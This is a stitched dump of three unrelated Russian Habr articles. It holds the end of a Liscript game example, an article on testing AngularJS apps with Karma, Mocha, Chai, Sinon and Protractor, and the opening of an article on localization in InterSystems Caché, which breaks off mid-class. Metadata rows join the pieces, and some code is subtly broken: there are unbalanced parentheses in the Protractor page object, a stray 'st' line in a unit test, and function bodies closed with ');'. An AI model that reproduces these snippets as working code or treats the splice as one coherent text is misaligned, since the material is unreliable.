(defmacro random-int (n) java random-int-object "nextInt" n)
; взять случайный элемент списка: (1 2 3 4 5) -> 2 ;
(defn list-rand (l) cond (null? l) nil (list-ref (random-int (length l)) l))
; отщепить случайный элемент от списка: (1 2 3 4 5) -> (2 (1 3 4 5)) ;
(defn get-rand-cell (l)
(def c (list-rand l))
(cond (null? l) nil (cons c (filter (lambda (x) not (eq? x c)) l) nil) ))
; дать свободные клетки поля, соседние данной по горизонтали/вертикали ;
(defn get-free-neighbours (p free-cs)
(defn good (p) and (and (<= 1 (car p) max-r) (<= 1 (cadr p) max-c)) (elem p free-cs))
(def neighbours (map (lambda (x) zipwith + p x) '((0 -1) (0 1) (-1 0) (1 0)) ))
(filter good neighbours) )
; добавить очередную клетку к реке, отщепив ее от свободных: ;
; ((7 3) (1 2 4 5 6)) -> ((4 7 3) (1 2 5 6)) ;
(defn get-next-river-cell (river-free-cs)
(def river (car river-free-cs) free-cs (cadr river-free-cs))
(def cs (cond (null? river) free-cs (get-free-neighbours (car river) free-cs)))
(cond (null? cs) nil
((def c (list-rand cs))
(cons (cons c river) (filter (lambda (x) not (eq? x c)) free-cs) nil)) ))
; набрать реку заданной длины: (() (1 2 3 4 5 6 7)) -> ((1 4 7 3) (2 5 6)) ;
(defn get-river (len river-free-cs)
cond (= 0 len) river-free-cs
(null? state) nil
(get-river (- len 1) (get-next-river-cell river-free-cs)))
; попытаться набрать реку заданной длины ограничивая число неудачных попыток ;
(defn try-get-river (trys len river-free-cs)
(def river (get-river len river-free-cs))
(cond (= 0 trys) nil (null? river) (try-get-river (- trys 1) len river-free-cs) river) )
; добавить очередную реку к списку рек, уменьшая список свободных клеток ;
(defn add-river (rivers-free-cs)
(def rivers (car rivers-free-cs) free-cs (cadr rivers-free-cs))
(def river (try-get-river 50 river-length (cons nil free-cs nil)))
(cond (null? river) nil (cons (cons (car river) rivers) (cadr river) nil) ))
; добавить очередную яму к списку ям, уменьшая список свободных клеток ;
(defn add-hole (holes-free-cs)
(def holes (car holes-free-cs) free-cs (cadr holes-free-cs))
(cond (null? (cdr free-cs)) nil
((def a (get-rand-cell free-cs) b (get-rand-cell (cadr a)))
(def hole (cons (car a) (car b) nil))
(cons (cons hole holes) (cadr b) nil) )))
(def all-cells (concat (map
(lambda (r) map (lambda (c) cons r c) (list-from-to 1 max-c))
(list-from-to 1 max-r) )))
(def rivers-free-cs (ntimes rivers-count add-river (cons nil all-cells nil)))
(def holes-free-cs (ntimes holes-count add-hole (cons nil (cadr rivers-free-cs) nil)))
(def rivers (car rivers-free-cs) holes (car holes-free-cs))
(cond (or (null? rivers-free-cs) (null? holes-free-cs))
((print "Не удалось создать карту") nil)
(make '((max-r max-c) rivers holes)) )
)
```
**Код функции начала игры**
```
; начало игры - передаем готовое поле и координаты стартовой точки ;
(defn join (field row col)
(match field '((max-r max-c) rivers holes))
; строка - красивое представление поля с указанием текущей позиции игрока ;
(defn show-field (cur-p)
(def rows (map
(lambda (r) map (lambda (c) cons r c) (list-from-to 1 max-c))
(list-from-to 1 max-r) ))
(def h-divider (foldl ++ "+" (replicate max-c "+----")))
(def alphabet '("" "A" "B" "C" "D" "E" "F" "G" "H" "I" "J"))
(defn show-row (row) foldl
(lambda (x a) ++ a (show-point x) (cond (eq? x cur-p) "#" " ") "| ") "| " row)
(defn show-point (p)
(def rr (get-by-p p rivers (lambda (oi ei) ++ (list-ref oi alphabet) ei)))
(def rh (get-by-p p holes (lambda (oi ei) ++ "." oi)))
(cond (not (null? rr)) rr (not (null? rh)) rh " ") )
(defn get-by-p (p objects v)
(defn go (l i)
(def ei (+ 1 (elem-index p (car l)) ))
(cond (null? l) nil (> ei 0) (v i ei) (go (cdr l) (+ 1 i)) ))
(go objects 1))
(foldl (lambda (x a) ++ a \n (show-row x) \n h-divider) h-divider rows) )
; пара тривиальных функций, которым место в стандартной библиотеке ;
(defn elem-index (e l)
(defn go (l i) cond (null? l) -1 (eq? e (car l)) i (go (cdr l) (+ 1 i)))
(go l 0))
(defn last (l) cond (null? (cdr l)) (car l) (last (cdr l)) )
; получение второй координаты ямы по первой ;
(defn co-hole (p hole)
(def a (car hole) b (cadr hole)) (cond (eq? p a) b (eq? p b) a p) )
; обработка команд пользовательского ввода ;
(defn user-input (p show-flag comment)
(def c (cond show-flag (read (show-field p) \n comment) (read comment)))
(cond (eq? c 'a) (move p show-flag "влево" 0 -1)
(eq? c 'd) (move p show-flag "вправо" 0 1)
(eq? c 'w) (move p show-flag "вверх" -1 0)
(eq? c 's) (move p show-flag "вниз" 1 0)
(eq? c 'show) (user-input p (not show-flag) "")
(eq? c 'quit) "игра прервана"
(user-input p show-flag "неверная команда") ))
; перемещение игрока в указанном направлении и снова вызов пользовательского ввода ;
(defn move (p-pred show-flag dir dr dc)
(def r (+ dr (car p-pred)) c (+ dc (cadr p-pred))
in-field (and (<= 1 r max-r) (<= 1 c max-c)) p (cons r c))
(def rr (get-by-p p rivers (lambda (oi river) cons (last river) "река")))
(def rh (get-by-p p holes (lambda (oi hole) cons (co-hole p hole) (++ "яма " oi))))
(cond (not in-field) (user-input p-pred show-flag (++ dir " - стена"))
(not (null? rr)) (user-input (car rr) show-flag (++ dir " - " (cadr rr)))
(not (null? rh)) (user-input (car rh) show-flag (++ dir " - " (cadr rh)))
(user-input p show-flag (++ dir " - пусто")) ))
; поиск переданной позиции в списке объектов (рек или ям), возвращает примененный визитор ;
(defn get-by-p (p objects v)
(defn go (l i) cond (null? l) nil (elem p (car l)) (v i (car l)) (go (cdr l) (+ 1 i)) )
(go objects 1))
; собственно вызов цикла пользовательского ввода с указанной стартовой точки ;
(read "a d w s - влево/вправо/вверх/вниз, show - показывать/скрывать карту, quit - выход" \n "введите что-нибудь для начала игры")
(move (cons row col) false "старт" 0 0)
)
```
ЗЫ этот код не претендует на защиту от некорректного ввода, хотя это совсем несложно сделать. Более того, можно добавить автоматический контроль строгого порядка ходов участников, по порядку их присоединения к общему полю. Можно добавить все, что только фантазия подскажет! Но данный код я написал для примера за несколько часов, и не стал переусложнять его логикой. Единственно, что я хотел, так это написать в максимально функциональном стиле, без мутабельных состояний и переменных, отклонившись от чистого ~~шелковистого~~ ФП только в 2 моментах ввод/вывод по ходу вычислений и генерация случайных чисел при создании поля — но можно считать, что мы живем в IO монаде, и никакого криминала нет :) Хотя конечно можно было бы использовать встроенные мутабельные java-коллекции, ArrayList/Map/HashMap и т.п, никто не мешает. Но на этом примере я хочу донести простую мысль — что вы сами можете изменять его или вообще писать свои программы или свои игры, и запускать их онлайн в чатах :)
ЗЗЫ стартовая страница приложения, запускающая ботов: [liscript.herokuapp.com](https://liscript.herokuapp.com/)
Все впечатления, советы, мнения, пожелания и т.п. можете озвучивать в любом из общих домашних каналов ботов во всех мессенжерах. Ну, кроме IRC — там при выходе последнего онлайн-пользователя канал удаляется как таковой вместе со всей историей сообщений. | https://habr.com/ru/post/324166/ | null | ru | null |
# Настоящее модульное тестирование в AngularJS
AngularJS молод и горяч, когда дело доходит до современной веб разработки. Его уникальный подход к компиляции HTML и двусторонней привязки данных делает его эффективным инструментом для создания клиентских веб приложений. Когда я узнал что Quick Left (студия в которой работает автор. прим. пер.) будет использовать его для создания приложения для одного из наших клиентов, я был взволнован и постарался узнать о angular столько сколько мог. Я обошел весь интернет, каждый урок и руководство, которые смог найти в Google. Они были реально полезны в понимании работы директив, шаблонов, компиляции и цикла обработки событий (digest), но когда дело дошло до тестирования, я обнаружил что эта тема была просто упущена.
Я обучался подходу TDD (Разработка через тестирование) и я чувствую себя не в своей тарелке без подхода «Красный-Зеленый-Рефакторинг». Так как мы все еще разбирались что к чему в тестировании в Angular, команде иногда приходилось полагаться на подход «тестирование-после». Это начало нервировать меня, поэтому я решил сосредоточится на тестировании. Я потратил на это недели, и в скором времени покрытие тестами поднялось с 40% до 86% (Кстати, если вы еще этого не делали, можете попробовать [Istabul](http://gotwarlost.github.io/istanbul/) для проверки покрытия кода в вашем JS приложении).
#### Введение
Сегодня я хочу поделится некоторыми вещами, которым я научился. Таким же хорошим как и [документация по Angular](https://docs.angularjs.org/api), тестирование боевого приложения редко бывает таким же простым как в примерах, которые вы увидите ниже. Есть много подводных камней, через которые мне пришлось пройти, чтобы заставить некоторые вещи работать. Я нашел несколько обходных путей, которые мне пригождались вновь и вновь. В этой статье мы рассмотрим некоторые из них
* Повторное использование страниц в End-to-End (e2e) тестах
* Работа с функциями возвращающими Promise
* Мокинг зависимостей контроллера и директив
* Доступ к дочерним и изолированным scope
Эта статья предназначена для средних и продвинутых разработчиков, использующих AngularJS для написания боевых приложений, которая поможет уменьшить боль от тестирования. Я надеюсь чувство безопасности в рабочем процессе тестирования позволит читателю начать практиковать TDD подход и разрабатывать более устойчивые приложения.
#### Инструменты для тестирования
Есть много фреймворков и инструментов для тестирования доступных Angular разработчику, и возможно у вас уже есть свои предпочтения. Вот список инструментов, которые мы выбрали и будем использовать по ходу статьи.
* [Karma](http://karma-runner.github.io/0.12/index.html): Запускатор тестов от команды AngularJS. Используйте его для запуска Chrome, Firefox, и PhantomJS.
* [AngularMocks](https://docs.angularjs.org/api/ngMock/object/angular.mock): Дает поддержку для инъекции и мока Angular сервисов в модульном тестировании.
* [Protractor](https://github.com/angular/protractor): Инструмент функционального тестирования для AngularJS, который запускает ваше приложение в браузере и взаимодействует с ним через Selenium.
* [Mocha](http://visionmedia.github.io/mocha/): Написанный на node.js фреймворк для тестирования. Дает возможность писать `describe` блоки и делать проверки в них.
* [Chai](http://chaijs.com/): Assertion библиотека которая интегрируется в Mocha, и дает доступ к подходу BDD и возможность писать утверждения `expect`, `should`, и `assert`. В примерах мы будем использовать `expect`.
* [Chai-as-promised](http://chaijs.com/plugins/chai-as-promised): Плагин для Chai, реально полезный при работе с функциями возвращающими promise. Он дает нам возможность писать так: `expect(foo).to.be.fulfilled`, или `expect(foo).to.eventually.equal(bar)`.
* [Sinon](http://sinonjs.org/): Стаб(Stub) и Мок(Mock) библиотека. Используйте ее для создания заглушек зависимостей в ваших директивах и контроллерах, и проверяйте что был вызов функций с корректными аргументами.
* [Browserify](http://browserify.org/): Позволяет легко подключать модули между файлами в проекте.
* [Partialify](https://www.npmjs.org/package/partialify): Позволяет подключать HTML шаблоны прямо в AngularJS директивы.
* [Lodash](http://lodash.com/): Библиотека с плюшками и сахарком расширяющая стандартный функционал JavaScript.
#### Настройка Хелперов для Теста
Начнем с написания хелпера, который подключит нужные нам зависимости. Здесь мы будем использовать Angular Mocks, Chai, Chai-as-promised и Sinon
```
// test/test-helper.js
// подключаем наш проект
require('widgetProject');
// зависимости
require('angular-mocks');
var chai = require('chai');
chai.use('sinon-chai');
chai.use('chai-as-promised');
var sinon = require('sinon');
beforeEach(function() {
// создаем новую песочницу перед каждым тестом
this.sinon = sinon.sandbox.create();
});
afterEach(function() {
// чистим песочницу, чтобы удалить все стабы
this.sinon.restore();
});
module.exports = {
rootUrl: 'http://localhost:9000',
expect: chai.expect
}
```
#### Приступая к работе: Тестирование Сверху-Вниз
Я большой сторонник стиля тестирования «сверху-вниз». Все начинается с функционала который я хочу создать, я пишу псевдосценарий описывающий функционал и создаю feature тест. Я запускаю этот тест и он валится с ошибкой. Теперь я могу начать проектировать все части системы, которые мне нужны чтобы feature тест заработал, используя модульные тесты, направляющие меня на этом пути.
Для примера, я буду создавать воображаемое приложение «Widgets», которое может отображать список виджетов, создавать новые, и редактировать текущие. Кода, который вы здесь увидите, не достаточно для построения полноценного приложения, но достаточно чтобы понять примеры тестов. Мы начнем с написания e2e теста описывающего поведение создания нового виджета.
#### Повторное использование Страниц в e2e тестировании
Когда работаешь над одностраничным приложением, имеет смысл соблюдать принцип DRY через написание многократно используемых «страниц» которые можно подключать во множество e2e тестов.
Есть много способов структурировать тесты в Angular проекте. Сегодня, мы будем использовать такую структуру:
```
widgets-project
|-test
| |
| |-e2e
| | |-pages
| |
| |-unit
```
Внутри папки `pages`, мы создадим `WidgetsPage` функцию, которая может быть подключена в e2e тесты. На нее ссылаются пять тестов:
* `widgetRepeater`: список виджетов содержащийся в `ng-repeat`
* `firstWidget`: первый виджет в списке
* `widgetCreateForm`: форма для создания виджета
* `widgetCreateNameField`: поле для ввода имени виджета
* `widgetCreateSubmit`: кнопка отправки формы
В конце получится что то типа этого:
```
// test/e2e/pages/widgets-page.js
var helpers = require('../../test-helper');
function WidgetsPage() {
this.get = function() {
browser.get(helpers.rootUrl + '/widgets');
}
this.widgetRepeater = by.repeater('widget in widgets');
this.firstWidget = element(this.widgetRepeater.row(0));
this.widgetCreateForm = element(by.css('.widget-create-form'));
this.widgetCreateNameField = this.widgetCreateForm.element(by.model('widget.name');
this.widgetCreateSubmit = this.widgetCreateForm.element(by.buttonText('Create');
}
module.exports = WidgetsPage
```
Изнутри моих e2e тестов, я теперь могу подключить эту страницу и взаимодействовать с её элементами. Вот как это можно использовать:
```
// e2e/widgets_test.js
var helpers = require('../test-helper');
var expect = helpers.expect;
var WidgetsPage = require('./pages/widgets-page');
describe('creating widgets', function() {
beforeEach(function() {
this.page = new WidgetsPage();
this.page.get();
});
it('should create a new widget', function() {
expect(this.page.firstWidget).to.be.undefined;
expect(this.page.widgetCreateForm.isDisplayed()).to.eventually.be.true;
this.page.widgetCreateNameField.sendKeys('New Widget');
this.page.widgetCreateSubmit.click();
expect(this.page.firstWidget.getText()).to.eventually.equal('Name: New Widget');
});
});
```
Давайте посмотрим что здесь происходит. Сначала, мы подключаем тест хелпер, потом берем `expect` и `WidgetsPage` из него. В `beforeEach` мы загружаемся в страницу браузера. Затем, в примере, мы используем элементы которые определили в `WidgetsPage` для взаимодействия со страницей. Мы проверяем что нет виджетов, заполняем форму для создания одного из них значением «New Widget» и проверяем что он отображается на странице.
Теперь, разделив логику для формы в многоразовую «страницу», мы можем многократно ее использовать, для тестирования валидации формы, например, или позже в других директивах.
#### Работа с функциями возвращающими Promise
Assert методы, которые мы взяли из Protractor'a в тесте выше, возвращают Promise, поэтому мы используем Chai-as-promised для проверки, что функции `isDisplayed` и `getText` возвращают то что мы ожидаем.
Мы так же можем работать с promise объектами внутри модульных тестов. Давайте посмотрим на пример, в котором мы тестируем модальное окно, которое может быть использовано для редактирования существующего виджета. Оно использует сервис `$modal` из UI Bootstrap. Когда пользователь открывает модальное окно, сервис возвращает promise. Когда он отменяет или сохраняет окно, promise разрешается или отклоняется.
Давайте мы протестируем что `save` и `cancel` методы правильно подключены, задействовав Chai-as-promised.
```
// widget-editor-service.js
var angular = require('angular');
var _ = require('lodash');
angular.module('widgetProject.widgetEditor').service('widgetEditor', ['$modal', '$q', '$templateCache', function (
$modal,
$q,
$templateCache
) {
return function(widgetObject) {
var deferred = $q.defer();
var templateId = _.uniqueId('widgetEditorTemplate');
$templateCache.put(templateId, require('./widget-editor-template.html'));
var dialog = $modal({
template: templateId
});
dialog.$scope.widget = widgetObject;
dialog.$scope.save = function() {
// Здесь сохраняем что-нибудь
deferred.resolve();
dialog.destroy();
});
dialog.$scope.cancel = function() {
deferred.reject();
dialog.destroy();
});
return deferred.promise;
};
}]);
```
Сервис подгрузит шаблон редактирования виджета в кеш шаблонов, сам виджет, и создаст deferred объект, который будет разрешен или отклонен в зависимости от того, отклонит или сохранит пользователь форму редактирования, который вернет promise.
Вот как можно протестировать что-то на подобие этого:
```
// test/unit/widget-editor-directive_test.js
var angular = require('angular');
var helpers = require('../test_helper');
var expect = helpers.expect;
describe('widget storage service', function() {
beforeEach(function() {
var self = this;
self.modal = function() {
return {
$scope: {},
destroy: self.sinon.stub()
}
}
angular.mock.module('widgetProject.widgetEditor', { $modal: self.modal });
});
it('should persist changes when the user saves', function(done) {
var self = this;
angular.mock.inject(['widgetModal', '$rootScope', function(widgetModal, $rootScope) {
var widget = { name: 'Widget' };
var promise = widgetModal(widget);
self.modal.$scope.save();
// каким то образом протестировали сохранение виджета
expect(self.modal.destroy).to.have.been.called;
expect(promise).to.be.fulfilled.and.notify(done);
st
$rootScope.$digest();
}]);
});
it('should not save when the user cancels', function(done) {
var self = this;
angular.mock.inject(['widgetModal', '$rootScope', function(widgetModal, $rootScope) {
var widget = { name: 'Widget' };
var promise = widgetModal(widget);
self.modal.$scope.cancel();
expect(self.modal.destroy).to.have.been.called;
expect(promise).to.be.rejected.and.notify(done);
$rootScope.$digest();
}]);
});
});
```
Чтобы справится со сложностью promise, который возвращает модальное окно в тесте редактирования виджета, мы можем сделать несколько вещей. Создать мок из сервиса `$modal` в функции `beforeEach`, заменив вывод функции на пустой объект `$scope`, и застабить вызов `destroy`. В `angular.mock.module`, мы передаем копию модального окна, чтобы Angular Mocks смог использовать его вместо реального `$modal` сервиса. Этот подход является довольно полезным для стаба зависимостей, в чем мы вскоре убедимся.
У нас есть два примера, и каждый должен ждать результата promise, возвращаемого виджетом редактирования, прежде чем завершится. В связи с этим мы должны передавать `done` как параметр в пример самостоятельно, и `done` когда тест завершится.
В тестах мы опять используем Angular Mocks для инъекции в модальное окно виджета и сервис `$rootScope` от AngularJS. Имея `$rootScope` мы можем вызывать цикл `$digest`. В каждом из тестов, мы загружаем модальное окно, отменяем или разрешаем его, и используем Chai-as-expected для проверки, вернулся promise как `rejected` или как `resolved`. Для фактического вызова promise и `destroy`, у нас должен запуститься `$digest` , поэтому он вызывается в конце каждого assert блока.
Мы рассмотрели как работать с promise в обоих случаях, в e2e и модульных тестах, используя следующие assert вызовы:
* `expect(foo).to.eventually.equal(bar)`
* `expect(foo).to.be.fulfilled`
* `expect(foo).to.be.rejected`
#### Мок зависимостей Директив и Контроллеров
В прошлом примере у нас был сервис который полагался на $modal сервис, который мы замокали дабы убедится что `destroy` был действительно вызван. Прием который мы использовали, довольно полезен и позволяет модульным тестам работать более правильно в Angular.
Прием заключается в следующем:
* Присвоить `var self = this` в блоке `beforeEach`.
* Создать копию и застабать методы, затем сделать их свойствами `self` объекта:
```
self.dependency = {
dependencyMethod: self.sinon.stub()
}
```
* Передать копии в тестируемый модуль:
```
angular.mock.module('mymodule', {
dependency: self.dependecy,
otherDependency: self.otherDependency
});
```
* Проверить замоканые методы в тестовых примерах. Вы можете использовать `expect(foo).to.have.been.called.withArgs`, передав аргументы которые вы ожидаете, для более лучшего покрытия.
Иногда директивы или контроллеры зависят от многих внутренних и внешних зависимостей, и вам нужно замокать их все.
Давайте взглянем на более сложный пример, в котором директива следит за `widgetStorage` сервисом и обновляет виджеты в своем окружении, при изменении коллекции. Так же есть метод `edit` который открывает `widgetEditor` созданный нами ранее.
```
// widget-viewer-directive.js
var angular = require('angular');
angular.module('widgetProject.widgetViewer').directive('widgetViewer', ['widgetStorage', 'widgetEditor', function(
widgetStorage,
widgetEditor
) {
return {
restrict: 'E',
template: require('./widget-viewer-template.html'),
link: function($scope, $element, $attributes) {
$scope.$watch(function() {
return widgetStorage.notify;
}, function(widgets) {
$scope.widgets = widgets;
});
$scope.edit = function(widget) {
widgetEditor(widget);
});
}
};
}]);
```
Вот как мы могли бы протестировать, что то подобное, замокав зависимости `widgetStorage` и `widgetEditor`:
```
// test/unit/widget-viewer-directive_test.js
var angular = require('angular');
var helpers = require('../test_helper');
var expect = helpers.expect;
describe('widget viewer directive', function() {
beforeEach(function() {
var self = this;
self.widgetStorage = {
notify: self.sinon.stub()
};
self.widgetEditor = self.sinon.stub();
angular.mock.module('widgetProject.widgetViewer', {
widgetStorage: self.widgetStorage,
widgetEditor: self.widgetEditor
});
});
// Остальная часть теста...
});
```
#### Доступ к Дочернему и Изолированному Scope
Иногда вам нужно написать директиву, которая имеет изолированный или дочерний scope внутри. Например, когда используется сервис `$dropdown` из [Angular Strap](http://mgcrea.github.io/angular-strap/), создается изолированный scope. Получить доступ к такому scope может оказаться довольно болезненным занятием. Но зная о `self.element.isolateScope()` можно исправить это. Вот один из примеров использования `$dropdown`, который создает изолированный scope:
```
// nested-widget-directive.js
var angular = require('angular');
angular.module('widgetSidebar.nestedWidget').directive('nestedSidebar', ['$dropdown', 'widgetStorage', 'widgetEditor', function(
$dropdown,
widgetStorage,
widgetEditor
) {
return {
restrict: 'E',
template: require('./widget-sidebar-template.html'),
scope: {
widget: '='
},
link: function($scope, $element, $attributes) {
$scope.actions = [{
text: 'Edit',
click: 'edit()'
}, {
text: 'Delete',
click: 'delete()'
}]
$scope.edit = function() {
widgetEditor($scope.widget);
});
$scope.delete = function() {
widgetStorage.destroy($scope.widget);
});
}
};
}]);
```
Предполагая что директива наследует виджет от родительской директивы, которая имеет коллекцию виджетов, получить доступ к дочернему scope может быть довольно сложно, чтобы проверить изменились ли его свойства как положено. Но это можно сделать. Давайте глянем как:
```
// test/unit/nested-widget-directive_test.js
var angular = require('angular');
var helpers = require('../test_helper');
var expect = helpers.expect;
describe('nested widget directive', function() {
beforeEach(function() {
var self = this;
self.widgetStorage = {
destroy: self.sinon.stub()
};
self.widgetEditor = self.sinon.stub();
angular.mock.module('widgetProject.widgetViewer', {
widgetStorage: self.widgetStorage,
widgetEditor: self.widgetEditor
});
angular.mock.inject(['$rootScope', '$compile', '$controller', function($rootScope, $compile, $controller) {
self.parentScope = $rootScope.new();
self.childScope = $rootScope.new();
self.compile = function() {
self.childScope.widget = { id: 1, name: 'widget1' };
self.parentElement = $compile('')(self.parentScope);
self.parentScope.$digest();
self.childElement = angular.element('');
self.parentElement.append(self.childElement);
self.element = $compile(self.childElement)(self.childScope);
self.childScope.$digest();
}]);
});
self.compile();
self.isolateScope = self.element.isolateScope();
});
it('edits the widget', function() {
var self = this;
self.isolateScope.edit();
self.rootScope.$digest();
expect(self.widgetEditor).to.have.been.calledWith(self.childScope.widget);
});
```
Безумие, не правда ли? Сперва мы опять мокаем `widgetStorage` и `widgetEditor`, затем мы приступаем к написанию функции `compile`. Эта функция создаст два экземпляра scope, `parentScope` и `childScope`, застабим виджет и положим его в дочерний scope. Далее `compile` сделает настройку scope и сложный шаблон: сначала, скомпилирует родительский элемент `widget-organizer`, в которого будет передан родительский scope. Когда это все завершится, мы добавим дочерний элемент `nested-widget` к нему, передав дочерний scope и в конце запустим `$digest`.
В завершении, мы дойдем до магии: мы можем вызвать `compile` функцию, затем залезть в скомпилированный изолированный scope шаблона (который является scope от `$dropdown`) через `self.element.isolateScope()`. В конце теста, мы можем залезть в изолированный scope для вызова `edit`, и наконец проверить, что застабленый `widgetEditor` был вызван с застабленым виджетом.
#### Заключение
Тестирование может быть болезненным. Я помню несколько случаев, когда в нашем проекте было столько боли в выяснении как все это делать, что был соблазн вернутся к написанию кода и «клик тестированию», для проверки работоспособности. К сожалению, когда вы выходите из этого процесса, чувство неуверенности только увеличивается.
После того как мы выделили время понять как бороться со сложными случаями, стало намного легче в понимании, когда такие случаи снова встречаются. Вооружившись приемами описанными в этой статье, мы смогли влиться в процесс TDD и уверенно двинулись вперед.
Я надеюсь, что методики которые мы с вами посмотрели сегодня, окажутся полезными в вашей повседневной практике. AngularJS все еще молодой и растущий фреймворк. А какие методики используете вы? | https://habr.com/ru/post/233705/ | null | ru | null |
# Локализация в СУБД Caché
Предположим, вы написали программу, выводящую «Hello, World!», например:
`write "Hello, World!"`
Приложение работает, всё хорошо.
Но проходит время, ваше приложение развивается, становится популярным и вот, вам нужно эту строку вывести уже на другом языке, причём количество и состав требуемых языков заранее неизвестен.
Под катом вы узнаете, как задача локализации решается в Caché.
#### Краткий обзор
В СУБД Caché предусмотрен готовый механизм, упрощающий локализацию строк в консольных программах, интерфейса в веб-приложениях, строк в файлах JavaScipt, сообщений об ошибках и т.д.
> Примечание: Данная тема была рассмотрена вскользь в одной из предыдущих [статей](http://habrahabr.ru/company/intersystems/blog/144304/).
Допустим, имеется проект со множеством классов, программ, веб-страничек, js-скриптов и т.д.
Работает механизм локализации следующим образом:
1. ещё на этапе **компиляции** проекта «выуживаются» все строки, подлежащие локализации, и сохраняются внутри базы в определённом формате.
2. в сам **откомпилированный** код вместо самих строк подставляется определённый код, который уже на этапе **выполнения** будет в зависимости от текущего языка сессии выдавать из хранилища то или иное значение.
Весь процесс локализации полностью прозрачен для программиста.
Разработчик избавляется от необходимости ручного заполнения некоего хранилища строк (таблицы в БД или ресурсного файла), а также от написания кода по управлению всей этой инфраструктурой, как то: смена языка во время исполнения, экспорт/импорт данных в различные форматы для переводчика и т.д.
В итоге мы имеем:
1. читаемый — незагромождённый лишним — исходный код;
2. автоматически наполняемое хранилище локализуемых строк;
> Примечание: При удалении строк из кода из хранилища они не удаляются. Для очистки хранилища от таких фантомов проще его очистить и заново перекомпилировать проект.
3. смену текущего языка «на лету». Это касается как веб-приложений, так и обычных программ;
4. возможность получить строку на заданном языке, из заданного домена (о доменах чуть ниже);
5. готовые методы по экспорту/импорту хранилища в XML.
Итак, давайте рассмотрим детальнее, как это работает, а также всевозможные примеры по локализации.
#### Введение
Создадим MAC-программу следующего содержания:
`#Include %occMessages
test() {
write "$$$DefaultLanguage=",$$$DefaultLanguage,!
write "$$$SessionLanguage=",$$$SessionLanguage,!
set msg1=$$$Text("Привет, Мир!","asd")
set msg2=$$$Text("@my@Привет, Мир!","asd")
write msg1,!,msg2,!
}`
Результат:
```
USER>d ^test
$$$DefaultLanguage=ru
$$$SessionLanguage=ru
Привет, Мир!
Привет, Мир!
```
Что же мы получили?
Во-первых, в БД появился глобал
```
^CacheMsg("asd") = "ru"
^CacheMsg("asd","ru",2915927081) = "Привет, Мир!"
^CacheMsg("asd","ru","my") = "Привет, Мир!"
```
Во-вторых, если навести курсор на макрос [$$$Text](http://docs.intersystems.com/cache20121/csp/docbook/DocBook.UI.Page.cls?KEY=GZAP_localization#GZAP_dollar_text_macros), то можно увидеть код, в который он разворачивается.
Для примера выше промежуточный (развёрнутый) код программы (INT-код) будет следующим:
`test() {
write "$$$DefaultLanguage=",$get(^%SYS("LANGUAGE","CURRENT"),"en"),!
write "$$$SessionLanguage=",$get(^||%Language,"en"),!
set msg1=$get(^CacheMsg("asd",$get(^||%Language,"en"),"2915927081"),"Привет, Мир!")
set msg2=$get(^CacheMsg("asd",$get(^||%Language,"en"),"my"),"Привет, Мир!")
write msg1,!,msg2,!
}`
Что касается примера выше, то следует обратить внимание на следующие вещи:
1. строки в программе следует писать изначально на том языке, который прописан по умолчанию в СУБД Caché в текущей локали (настраивается в Портале Управления);
> Примечание: При использовании идентификаторов строк вместо их хеша это уже не столь важно.
2. для каждой строки макрос вычисляет её CRC32, и все данные — CRC32 или идентификатор строки, домен, текущий язык системы — сохраняются в глобал **^CacheMsg**;
3. вместо самой строки подставляется код, который учитывает значение в приватном глобале **^||%Language**;
4. если пользователь запросит строку на языке, для которого нет перевода (отсутствуют данные в хранилище), то вернётся исходная строка;
5. механизм доменов позволяет логически разделять локализуемые строки, например разные переводы для одних и тех же строк и т.д.
Если по каким-то причинам вас не устраивает текущий алгоритм работы макроса **$$$Text**, например язык по умолчанию хотите задавать по-другому или данные хранить в другом месте или ..., вы можете создать свой его аналог.
И помогут вам в этом макросы [##Expression](http://docs.intersystems.com/cache20121/csp/docbook/DocBook.UI.Page.cls?KEY=GCOS_macros#GCOS_macros_mpp_lblbExpression) и/или [##Function](http://docs.intersystems.com/cache20121/csp/docbook/DocBook.UI.Page.cls?KEY=GCOS_macros#GCOS_macros_mpp_lblbFunction).
Продолжим наш пример.
Давайте добавим новый язык. Для этого нужно выгрузить хранилище строк в файл и отдать его переводчикам, затем перевод загрузить обратно, но уже с другим языком.
Данные можно выгрузить различными способами и в разных форматах.
Мы же воспользуемся стандартными методами класса [%MessageDictionary](http://docs.intersystems.com/cache20121/csp/documatic/%25CSP.Documatic.cls?PAGE=CLASS&LIBRARY=%25SYS&CLASSNAME=%25Library.MessageDictionary): **Import**(), **ImportDir**(), **Export**(), **ExportDomainList**():
`do ##class(%MessageDictionary).Export("messages.xml","ru")`
В каталоге нашей БД мы получим файл "*messages\_ru.xml*". Переименуем его в "*messages\_en.xml*", поменяем в нём язык на "**en**" и переведём содержимое.
Далее импортируем его обратно в наше хранилище:
`do ##class(%MessageDictionary).Import("messages\_en.xml")`
Глобал примет следующий вид:
```
^CacheMsg("asd") = "ru"
^CacheMsg("asd","en",2915927081) = "Hello, World!"
^CacheMsg("asd","en","my") = "Hello, World!"
^CacheMsg("asd","ru",2915927081) = "Привет, Мир!"
^CacheMsg("asd","ru","my") = "Привет, Мир!"
```
Теперь мы можем менять язык «на лету», например:
`#Include %occMessages
test()
{
set $$$SessionLanguageNode="ru"
set msg1=$$$Text("Привет, Мир!","asd")
set msg2=$$$Text("@my@Привет, Мир!","asd")
write msg1,!,msg2,!
set $$$SessionLanguageNode="en"
set msg1=$$$Text("Привет, Мир!","asd")
set msg2=$$$Text("@my@Привет, Мир!","asd")
write msg1,!,msg2,!
set $$$SessionLanguageNode="pt-br"
set msg1=$$$Text("Привет, Мир!","asd")
set msg2=$$$Text("@my@Привет, Мир!","asd")
write msg1,!,msg2,!
}`
Результат:
```
USER>d ^test
Привет, Мир!
Привет, Мир!
Hello, World!
Hello, World!
Привет, Мир!
Привет, Мир!
```
Обратите внимание на последний вариант.
#### Пример локализации не веб-приложения (обычного класса)
Локализация методов класса:
`Include %occErrors
Class demo.test Extends %Persistent
{
Parameter DOMAIN = "asd";
ClassMethod Test()
{
do ##class(%MessageDictionary).SetSessionLanguage("ru")
write $$$Text("Привет, Мир!"),!
do ##class(%MessageDictionary).SetSessionLanguage("en")
write $$$Text("Привет, Мир!"),!
do ##class(%MessageDictionary).SetSessionLanguage("pt-br")
write $$$Text("Привет, Мир!"),!
#dim ex as %Exception.AbstractException
try
{
$$$ThrowStatus($$$ERR($$$AccessDenied))
}catch (ex)
{
write $system.Status.GetErrorText(ex.AsStatus(),"ru"),!
write $system.Status.GetErrorText(ex.AsStatus(),"en"),!
write $system.Status.GetErrorText(ex.AsStatus(),"pt-br"),!
}
